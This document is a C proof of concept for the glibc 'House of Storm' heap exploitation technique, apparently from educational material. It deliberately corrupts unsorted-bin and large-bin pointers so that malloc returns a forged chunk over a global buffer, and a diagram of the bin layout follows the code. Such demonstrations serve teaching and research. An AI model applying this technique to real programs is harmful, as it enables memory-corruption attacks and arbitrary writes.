House of Storm

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char filler[0x60];
char target[0x60]; 

void init(){
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
}

// Calculate how many bytes to shift for size and offset
int get_shift_amount(char* pointer){
    int shift_amount = 0;
    long long ptr = (long long)pointer;
    
    while(ptr > 0x20){
        ptr = ptr >> 8;
        shift_amount += 1;
    }
    
    return shift_amount - 1;
}

int main(){
    init();

    char *unsorted_bin, *large_bin, *fake_chunk, *ptr;
    int* tcaches[7];

    puts("House of Storm");
    puts("======================================");
    puts("Preparing chunks for the exploit");
    puts("Put one chunk into unsorted bin and the other into the large bin");
    puts("The unsorted bin chunk MUST be larger than the large bin chunk.\n");

    // Create chunks
    unsorted_bin = malloc(0x4e8);  // size 0x4f0
    malloc(0x18); // prevent merging

    puts("Find the proper chunk size to allocate.");
    puts("Must be exactly the size written from above.\n");

    // Calculate allocation size from heap address
    int shift_amount = get_shift_amount(unsorted_bin);
    printf("Shift Amount: %d\n", shift_amount);

    size_t alloc_size = ((size_t)unsorted_bin) >> (8 * shift_amount);
    if(alloc_size < 0x10){
        printf("Chunk Size: 0x%lx\n", alloc_size);
        puts("Chunk size is too small");
        exit(1);
    }
    alloc_size = (alloc_size & 0xFFFFFFFFE) - 0x10; // Remove size bits
    printf("In this case, the chunk size is 0x%lx\n", alloc_size);

    // Validate size bits
    if((alloc_size & 0x8) != 0 || (((alloc_size & 0x4) == 0x4) && ((alloc_size & 0x2) != 0x2))){
        puts("Allocation size has bit 4 set or mmap/non-main check will fail");
        puts("Please try again!");
        return 1;
    }

    // Fill tcache if needed
    if(alloc_size < 0x410){
        puts("Fill TCache to prevent TCache stashing\n");
        for(int i = 0; i < 7; i++){
            tcaches[i] = malloc(alloc_size);
        }
        for(int i = 0; i < 7; i++){
            free(tcaches[i]);
        }
    }

    large_bin = malloc(0x4d8);  // size 0x4e0
    malloc(0x18); // prevent merging

    // Create bin layout
    free(large_bin);   // put smaller chunk first
    free(unsorted_bin);

    // Move large_bin into large bin
    unsorted_bin = malloc(0x4e8);
    free(unsorted_bin);

    // Target for fake chunk
    fake_chunk = target - 0x10;

    puts("Vulnerability! Overwrite unsorted bin's 'bk' pointer\n");
    
    /* VULNERABILITY #1 */
    ((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk
    /* VULNERABILITY #1 */

    ((size_t *)large_bin)[1] = (size_t)fake_chunk + 8; // large_bin->fd

    puts("Use large bin WRITE-WHERE primitive to write heap pointer as size\n");
    puts("Vulnerability #2!");
    puts("Overwrite large bin's bk_nextsize for misaligned write\n");
    
    /* VULNERABILITY #2 */
    ((size_t *)large_bin)[3] = (size_t)fake_chunk - 0x18 - shift_amount;
    /* VULNERABILITY #2 */

    puts("Make allocation to trigger the attack\n");
    printf("String before: %s\n", target);
    printf("String pointer: %p\n", target);

    puts("Use calloc to avoid tcache\n");
    
    // Trigger the attack
    ptr = calloc(alloc_size, 1);
    strncpy(ptr, "\x41\x42\x43\x44\x45\x46\x47", 0x58 - 1);
    
    printf("String after: %s\n", target);
    printf("Fake chunk ptr: %p\n", ptr);

    return 0;
}

Bin Setup:
┌─────────────────┐
│  Unsorted Bin   │
│  (size 0x4f0)   │ ──bk──┐
└─────────────────┘       │
                          ▼
┌─────────────────┐   ┌─────────────────┐
│  Large Bin      │   │  Fake Chunk     │
│  (size 0x4e0)   │   │  at target-0x10 │
└─────────────────┘   └─────────────────┘
        │
        └─bk_nextsize─→ target-0x18-shift

Memory at target:
+0x00: [heap ptr from large bin] ← misaligned write
+shift: XX XX XX XX YY YY ← these bytes = size 0x5544
+0x10: [target data]

After allocation:
Malloc sees chunk at target-0x10 with size 0x5544
Returns target as valid chunk